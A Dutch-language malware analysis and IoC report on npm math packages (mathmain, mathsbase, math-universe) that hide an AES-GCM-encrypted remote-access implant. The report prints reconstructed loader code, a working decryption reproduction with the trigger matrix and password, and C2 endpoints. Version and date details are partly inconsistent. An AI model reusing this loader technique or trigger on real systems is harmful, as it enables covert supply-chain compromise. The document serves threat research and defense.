Waarom heeft een npm-wiskundebibliotheek een versleutelde loader nodig?
We begonnen op 17 september 2026 met een SafeDep-analyse van mathmain. Het pakket leek op een kopie van mathjs met een andere naam en geobfusceerde code. Eén toegevoegde aanroep in de solver leidde ons naar de loader.
Een solver roept een typecontrole aan
Aan het einde van lusolve() vonden we een extra aanroep in de CommonJS-build. De solver had het resultaat al berekend en gaf vervolgens gegevens van de onderste driehoeksmatrix door aan removeSolveValidation():
lib/cjs/function/algebra/solver/lusolve.js
// Leesbare reconstructie: herstelde strings en hernoemde lokale variabelen.
l && (q = removeSolveValidation(l._data));
return x;
Hier bevat l de onderste driehoeksmatrix en bevat x het resultaat. De solver geeft x ongewijzigd terug. De retourwaarde van de extra aanroep wordt toegewezen aan q, maar q wordt daarna niet meer gebruikt.
We volgden removeSolveValidation() naar isGraph(x) in lib/cjs/utils/is.js. Dit bestand bevat controles zoals isMatrix en isNumber. De toegevoegde functie isGraph() ontsleutelt en laadt code:
lib/cjs/utils/is.js
// Leesbare reconstructie: herstelde strings en hernoemde lokale variabelen.
const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';
function isGraph(x) {
const password = JSON.stringify(x);
const name = validEvent(STAGE1_BLOB, password);
const target = path.join(__dirname, name);
const mod = require(event(target, password));
return (x && mod.validGraph(password)) || false;
}
isGraph() zet de invoer om in een JSON-string en gebruikt die string als wachtwoord. Eerst ontsleutelt het een bestandsnaam. Vervolgens geeft het het bestandspad en het wachtwoord door aan event(), en laadt het geretourneerde pad met require().
We hebben de loader-fragmenten leesbaarder gemaakt door strings te herstellen en lokale variabelen te hernoemen. De hashes aan het einde van dit artikel identificeren de originele bestanden.
Matrixgegevens worden een wachtwoord
In lib/cjs/utils/event.js vonden we de ontsleutelingfuncties. Ze gebruiken scrypt om het wachtwoord om te zetten in een sleutel van 256 bits. Daarna ontsleutelen ze de gegevens met Advanced Encryption Standard in Galois/Counter Mode (AES-GCM):
lib/cjs/utils/event.js
// Leesbare reconstructie: herstelde strings en hernoemde lokale variabelen.
const key = crypto.scryptSync(password, salt, 32);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return Buffer.concat([decipher.update(ciphertext), decipher.final()]);
De versleutelde gegevens hebben een vaste lay-out: een salt van 16 bytes, een initialization vector (IV) van 12 bytes en een authentication tag van 16 bytes. De ciphertext volgt op deze velden. Het pakket slaat de hele reeks op als base64-tekst.
Voor aanroepen via de solver is het wachtwoord JSON.stringify(L._data). Een aanroeper kan L aanleveren via de objectvorm van lusolve(). De aanroeper moet dus matrixgegevens doorgeven die het juiste wachtwoord genereren. We vonden geen wachtwoord opgeslagen in de zichtbare loader.
De versleutelde bestandsnaam bestaat uit acht bytes ciphertext. We vermoeden dat dit verwijst naar graph.js, een bestand naast de loader waarvan de naam ook acht bytes beslaat. We konden dit niet bevestigen omdat we het wachtwoord aanvankelijk niet hadden teruggevonden.
De loader schrijft en voert het bestand uit
De helper event() ontsleutelt het bestand, schrijft het resultaat naar de schijf en geeft het uitvoerpad terug:
lib/cjs/utils/event.js
// Leesbare reconstructie: herstelde strings en hernoemde lokale variabelen.
const plaintext = eventEmitter(file, password);
const dir = path.dirname(path.resolve(file));
const base = path.basename(file).replace(/^enc_/, '');
const outPath = path.join(dir, base);
fs.writeFileSync(outPath, plaintext);
return outPath;
Als de bestandsnaam geen enc_ prefix heeft, overschrijft de helper het versleutelde bestand met de ontsleutelde code. De require()-aanroep in isGraph() laadt deze vervolgens. Die code wordt uitgevoerd met dezelfde rechten als het Node.js-proces.
Drie toegevoegde bestanden bevatten base64-gegevens in plaats van normale JavaScript:
Pad onder lib/cjs/utils/ | Grootte ciphertext in bytes |
|---|---|
graph.js | 20.918 |
fraction.js | 9.084 |
bignumber/type.js | 1.179.416 |
We vonden geen referentie naar de laatste twee bestanden in de zichtbare loader. De ontsleutelde graph.js laadt deze in latere stadia, zoals in de sectie over de payload wordt beschreven.
We vonden geen install hooks in het manifest. Het importeren van het pakket via het door ons bekeken pad activeert de loader ook niet. De solver moet eerst de validatie- en berekeningsstappen doorlopen om bij de toegevoegde aanroep te komen. Als het wachtwoord onjuist is, faalt validEvent() bij de authenticatiecontrole voordat de helper enig bestand schrijft.
Dezelfde loader verschijnt in twee andere pakketten
We zochten in de npm-registry en vonden twee andere pakketten: mathsbase en math-universe. Over vijf versies verspreid vonden we identieke loader-bestanden, trigger-code, wijzigingen in de solver en twee grote versleutelde bestanden.
De versleutelde graph.js in mathmain verschilt van de andere kopieën. De gedeelde bestanden verbinden deze releases. Ze vertellen ons echter niet wie de loader heeft toegevoegd of of iemand een account van een uitgever heeft overgenomen.
Op 17 september serveerde npm mathmain als de standaardrelease. Die versie bevatte deze loader niet. Alleen de standaardversie controleren, zou betekenen dat de code in versie 1.0.1 over het hoofd wordt gezien.
Op 19 september controleerden we de downloadcijfers van npm voor alle drie de pakketten voor de periode 12 t/m 18 september 2026.
| Pakket | Gerapporteerde downloads |
|---|---|
mathmain | 605.157 |
mathsbase | 1.923.059 |
math-universe | 569.730 |
npm rapporteerde ook nul downloads voor de gehele registry op 17 september, wat de eerdere nulwaarde voor mathmain onbetrouwbaar maakt. De pakketten hebben geen openbare afhankelijken en bijna geen verkeer op het jsDelivr-netwerk. De cijfers tonen dus geen echte installaties aan. We konden niet bepalen wat dit volume veroorzaakte, en deze cijfers zeggen niets over hoeveel systemen de pakketten daadwerkelijk hebben geïnstalleerd of of de versleutelde code is uitgevoerd.
De loader bevindt zich niet in de GitHub-broncode
De pakketten mathsbase en math-universe linken elk naar een openbaar GitHub-repository. We hebben beide gelezen, maar geen van beide repositories bevat de loader:
github[.]com/tinystar8/mathsbase(commit560d97e66140dbf817e04284a7a0c58757d1202e)github[.]com/mathubio/math-universe(commitda99dd46501c75ba6102a51ef60ebb922174da32)
De openbare broncode van math-universe beëindigt de solver als volgt:
// mathubio/math-universe, commit da99dd46501c75ba6102a51ef60ebb922174da32
// src/function/algebra/solver/lusolve.js; origineel broncode-fragment.
if (q) {
x._data = csIpvec(q, x._data);
}
return x;
De extra removeSolveValidation()-aanroep ontbreekt hier. De npm-build heeft deze wel. Iemand heeft de loader dus toegevoegd tijdens het publiceren van het pakket, en niet in de openbare code.
We zochten ook naar een programma dat de solver aanroept met de trigger. We doorzochten GitHub-code, lockfiles en dependency-services, maar vonden niets. Privéprojecten en code die zoekmachines missen, blijven buiten bereik.
Onze eerste pogingen vonden het wachtwoord niet
We testten 16.922 mogelijke wachtwoorden tegen de versleutelde bestandsnaam. Sommige hiervan kwamen voort uit matrices met nul-diagonaalelementen, die we in onze eerdere zoektocht hadden overgeslagen.
In een tweede zoektocht testten we 533 mogelijke wachtwoorden tegen alle vijf de verschillende versleutelde blobs, inclusief de oudere graph.js. We probeerden veelvoorkomende wachtwoorden en numerieke arrays uit de tests van de solver. Geen van beide zoektochten vond een wachtwoord dat de authenticatiecontrole doorstond.
We controleerden onze tools met testgegevens en bekende wachtwoorden; de zoektochten werden correct afgerond. Het wachtwoord was geen veelvoorkomende waarde of een testmatrix, maar één specifieke matrix die we later vonden.
Het kraken van de versleuteling
Het wachtwoord is de JSON-vorm van een matrix lower factor L. JFrog rapporteerde als eerste de invoer die dit produceert. We hebben dit resultaat vervolgens gereproduceerd tegen de mathmain-bestanden.
De herstelde trigger is een 3x3 Pascal-matrix:
A = [[1, 1, 1],
[1, 2, 3],
[1, 3, 6]]
Wanneer een aanroeper A doorgeeft aan lusolve(), voert de solver een LU-decompositie van A uit. De lower triangular factor L wordt dan [[1, 0, 0], [1, 1, 0], [1, 0.5, 1]]. De loader zet L om in een JSON-string. Die string is het wachtwoord.
We hebben dit bevestigd met de echte bestanden:
// SafeDep reproductie tegen mathmain.
const A = [
[1, 1, 1],
[1, 2, 3],
[1, 3, 6],
];
const L = lup(A).L.valueOf(); // [[1,0,0],[1,1,0],[1,0.5,1]]
const password = JSON.stringify(L); // '[[1,0,0],[1,1,0],[1,0.5,1]]'
const blob = Buffer.from(STAGE1_BLOB, 'base64');
const key = crypto.scryptSync(password, blob.subarray(0, 16), 32);
const d = crypto.createDecipheriv('aes-256-gcm', key, blob.subarray(16, 28));
d.setAuthTag(blob.subarray(28, 44));
const name = Buffer.concat([d.update(blob.subarray(44)), d.final()]).toString();
// name === 'graph.js'
Het wachtwoord ontsleutelde de bestandsnaam naar graph.js. Het ontsleutelde ook de drie payload-bestanden in mathmain en math-universe. De payload van mathmain is byte voor byte identiek aan die van math-universe. mathsbase gebruikt hetzelfde wachtwoord, maar met andere versleutelde gegevens. Hetzelfde wachtwoord ontgrendelt dus de hele familie.
Payload-analyse
De ontsleutelde bestanden vormen een kleine remote access implant. Elk bestand heeft één taak. De bevindingen hieronder zijn gebaseerd op onze eigen statische review van de ontsleutelde code.
De ontsleutelde graph.js is de eerste fase. De loader voert deze uit met require() na ontsleuteling. Het bestand leest hostgegevens met os en fs. Het genereert een X25519-sleutelpaar met de Node-crypto module via generateKeyPairSync en diffieHellman. Het voert shell-commando's uit met child_process via spawn en execSync. Het leest een smart contract op het Base Sepolia testnetwerk met een meegeleverde kopie van ethers. Het rapporteert via Slack chat.postMessage en aan api.telegram.org. Vervolgens laadt het bignumber/type.js en fraction.js als latere fasen. De netwerkdetails staan als base64-tekst in het bestand.
Gedecodeerde constanten uit ontsleutelde graph.js (Deployment A):
- Base Sepolia contract:
0xac0bfC4C48A679b667732128278EACBA1c191894 - RPC (Infura):
base-sepolia.infura[.]io/v3/dc7257d09fab42eca2c354c32fec1938 - RPC (Alchemy):
base-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI - Telegram bot:
8961878831:AAG4...(geheim geanonimiseerd) - Slack bot:
xoxb-11307403103236-11289767127959-...(geheim geanonimiseerd)
De ontsleutelde bignumber/type.js is een kopie van de ethers-bibliotheek (marker ethers/5.7.2). De implant gebruikt deze bibliotheek om het smart contract te lezen.
De ontsleutelde fraction.js is de command agent. Deze ontsleutelt op runtime een Slack-bottoken en een kanaal-id. De agent heeft een CHAT_PASSWORD waarde uit de omgeving nodig; zonder deze waarde stopt de agent. De agent pollst elke 10 seconden het Slack conversations.history eindpunt. Hij controleert of een bericht van de operator komt en voert de inhoud van het bericht vervolgens uit als shell-commando via execSync of spawn.
Het pakket slaat de commando's van de operator niet op; de agent leest ze tijdens runtime direct uit Slack. Hierdoor blijven de live commando's buiten de registry en onze kopie.
Samen stellen deze bestanden een operator in staat om shell-commando's uit te voeren op elke host die de loader triggert. De commando's reizen via een openbare chatservice en een blockchain-testnetwerk. Het pakket is een remote access implant.
Hoe de trigger een slachtoffer bereikt
De loader blijft inert totdat een aanroeper de solver uitvoert met een invoer die de factor L produceert. Een normale import bereikt de toegevoegde code niet. Een normale lusolve()-aanroep met andere gegevens faalt bij de authenticatiecontrole en schrijft niets. Omdat het wachtwoord de JSON-vorm van L is, is de Pascal-matrix niet de enige trigger. Een aanroeper kan L direct als coëfficiëntmatrix doorgeven, omdat de lower factor daarvan opnieuw L is. Ook kan L worden aangeleverd via de objectvorm van lusolve(). Beide invoeren geven hetzelfde wachtwoord.
De aanval werkt in twee delen. Eén pakket bevat de versleutelde payload. Een tweede pakket, of een gecompromitteerde aanroeper, voert de solver uit met de trigger-matrix. De wiskundebibliotheek ziet eruit als een populaire, vertrouwde dependency; de aanroeper levert de sleutel.
We hebben die aanroeper niet gevonden in openbare code. Onze GitHub- en dependency-zoekopdrachten leverden geen project op dat de solver met de trigger aanroept. Privécode en verwijderde projecten vallen buiten dit bereik.
Tijdlijn van het onderzoek
Alle tijden zijn in UTC. Publicatietijden zijn afgeleid van de npm-registry metadata.
| Datum en tijd | Gebeurtenis |
|---|---|
| 26 aug 2026, 08:14 | mathmain@1.0.0 gepubliceerd. Geen matching loader gevonden. |
| 27 aug 2026, 07:44 | mathmain@1.0.1 gepubliceerd met loader en versleutelde bestanden. |
| 15 sep 2026, 03:38 | mathmain@1.0.2 gepubliceerd zonder matching loader. |
| 16 sep 2026, 12:06 | mathsbase@1.0.1 gepubliceerd met loader. |
| 16 sep 2026, 13:39 | math-universe@1.0.1 gepubliceerd met loader. |
| 16 sep 2026, 14:14 | mathmain@1.0.3 gepubliceerd met loader, na 1.0.2. |
| 17 sep 2026, 06:53 | mathmain@1.0.4 gepubliceerd met matching bestanden. |
| 17 sep 2026 | Broncodereview, consumentenzoektochten en verdere decryptiepogingen voltooid. Geen plaintext hersteld. |
| 19 sep 2026 | npm rapporteerde 605.157 downloads van mathmain voor 18 september. |
| 21 sep 2026 | JFrog publiceerde analyse en herstelde de trigger-matrix. |
| 21 sep 2026 | SafeDep reproduceerde de decryptie en las de mathmain payload. |
Indicatoren van compromis (IoC)
Gebruik deze indicatoren om de pakketten, de loader en de ontsleutelde implant te vinden. Een match op een pakket of hash bewijst niet dat de code op een host is uitgevoerd; een aanroeper moet eerst de loader triggeren.
Kwaadaardige pakketten
SafeDep heeft de loader in deze versies geanalyseerd. De SHA-256 komt van de npm tarball.
| npm pakket versie | Archive SHA-256 |
|---|---|
mathmain@1.0.1 | 1723a0df210ac61281a504f3a07ec3605d20151631e0635cc344cacc71019135 |
mathmain@1.0.3 | 03e13cdedd9c33e6fed25092b1ec7dcf11cc5962c0fbb6b3e90ba95bfec1b034 |
mathmain@1.0.4 | 7e5e1bcdc6a7b0e3437269a236b49ef2be4f77081c7de5130d503c103fd6be69 |
mathsbase@1.0.1 | bfe772e7ee044fd6f0bdf53e83f44aad7c9ee1925baf0cf4d884a312aa9ba50e |
math-universe@1.0.1 | 4eb1d59df7dc80dbe3ec154481e61e8824422037092c188f0cc146b543615a66 |
De trigger en het wachtwoord
Een aanroeper activeert de loader met één matrix. Het wachtwoord is de JSON-vorm van de LU lower factor van die matrix.
| Item | Waarde |
|---|---|
| Trigger matrix | [[1,1,1],[1,2,3],[1,3,6]] |
| Wachtwoord | [[1,0,0],[1,1,0],[1,0.5,1]] |
| Stage-1 blob | IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ== |
Loader-bestanden
Deze twee file hashes komen overeen in alle geanalyseerde versies.
| Bestand | SHA-256 |
|---|---|
lib/cjs/utils/event.js | ab66c98e8ed5235feb963ec8845765f62f5f26b1c58c266c409767e53bcb5ccd |
lib/cjs/utils/is.js | 5d9e952c51875d2b897eedc22b002b94ab21c8004d513bc99ce3a885f8a01dae |
Versleutelde payload-bestanden
De base64 blobs bevinden zich onder lib/cjs/utils/. mathmain en de drie math-universe versies delen Deployment A. mathsbase gebruikt Deployment B.
| Bestand | SHA-256 | Deployment |
|---|---|---|
graph.js | ed9b078594393d09d91ee008366ca75e3017cca18c79af99c5b294c61db67f06 | A |
fraction.js | 09773ee7db70216b778b15cfcd94cb1df8963eddd4a47b801c96f986651699e6 | A |
bignumber/type.js | ca4fe552da461fec5b51d5964d979699f06888499be442f209125853dff3e0e1 | A |
graph.js | 0aa46d32e4b479cc09f97cc66a1f12ca96b0497a7eb6ffc6b46ed3ef80e3c83b | B |
Ontsleutelde payload-bestanden
Deze hashes hebben betrekking op de plaintext die we herstelden uit Deployment A. Op een host waar de loader is uitgevoerd, kunnen bestanden met deze hashes op de schijf staan.
| Bestand | SHA-256 |
|---|---|
graph.js | 1e0f09c84aaf573627c003ce0f086517c3ea980cbea02f8ff918b1cc0d7e0bbb |
fraction.js | 6fd655d7196880fc5783f9dbb62b428baf220c2781970be54044376330be7af3 |
bignumber/type.js | 6b1ad71bc3765dd272ea2ac63c1ea6ed97091ba0067d0b3e2294e1b34177cb25 |
Command and Control (C2)
We hebben deze eindpunten hersteld uit de ontsleutelde graph.js-bestanden. We hebben de geheime helft van de bot-tokens geanonimiseerd.
| Deployment | Type | Waarde |
|---|---|---|
| A | Smart contract | 0xac0bfC4C48A679b667732128278EACBA1c191894 (Base Sepolia) |
| A | RPC (Infura) | base-sepolia.infura[.]io/v3/dc7257d09fab42eca2c354c32fec1938 |
| A | RPC (Alchemy) | base-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI |
| A | Telegram bot | 8961878831 (token geanonimiseerd) |
| A | Slack bot | xoxb-11307403103236-11289767127959-... (geheim geanonimiseerd) |
| B | Smart contract | 0xE390863Dac96a7118C71227C2b099B50cF602D31 (Ethereum Sepolia) |
| B | RPC (Alchemy) | eth-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI |
| B | Slack bot | xoxb-11307403103236-11289767127959-... (geheim geanonimiseerd) |
Beide deployments gebruiken dezelfde Alchemy-projectsleutel D2-TbkB2m05WXSnSDOCDI, wat de twee deployments aan één operator koppelt.
Groetjes,